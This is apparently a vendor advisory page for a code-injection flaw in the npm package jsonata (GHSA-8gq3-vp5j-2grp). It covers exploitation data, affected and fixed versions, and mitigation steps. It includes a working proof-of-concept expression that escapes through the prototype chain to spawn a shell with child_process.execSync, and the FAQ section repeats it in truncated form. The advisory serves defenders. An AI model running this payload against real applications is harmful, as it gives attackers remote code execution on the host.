Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-8gq3-vp5j-2grp — jsonata

Fix: jsonata-js/jsonata#794

GHSA-8gq3-vp5j-2grp is a Code Injection vulnerability in jsonata. A fix is available for jsonata — see the affected versions and patch details below.

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Also known asCVE-2026-77413
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-8gq3-vp5j-2grp.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk
0.00%0.41%0.81%1.22%0.4%0.7%0.7%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

579other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
jsonatanpm
2.3Mdownloads / week

Description

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
   __lookupSetter__('__proto__')(constructor);
   __defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
   valueOf().l
)
`);

await expression.evaluate({});

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmjsonataall versions1.8.8npm install jsonata@1.8.8
📦npmjsonata≥ 2.0.0&&< 2.2.02.2.0npm install jsonata@2.2.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jsonata, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update jsonata to 1.8.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8gq3-vp5j-2grp is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatCritical

This is a Critical arbitrary code execution flaw in the JSONata library, affecting its `lookup` function due to improper object property validation. An attacker supplying crafted JSONata expressions to a vulnerable Red Hat product could achieve remote code execution with the privileges of the host process, leading to…

Workaround published by Red Hat
To mitigate this issue, applications utilizing the JSONata library should be configured to strictly validate and sanitize all incoming JSONata expressions, ensuring that only trusted and well-formed expressions are processed. If processing untrusted expressions is unavoidable, deploy the application in a sandboxed environment with minimal privileges to limit the potential impact of arbitrary code execution.
Source: Red Hat security advisory for GHSA-8gq3-vp5j-2grp (CC BY 4.0)

Frequently Asked Questions

## Impact Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor
O3 Security · Impact-Aware SCA

Is GHSA-8gq3-vp5j-2grp in your dependencies?

Find it across npm, including transitive dependencies.

GHSA-8gq3-vp5j-2grp: RCE — Fixed in 1.8.8 | O3 Security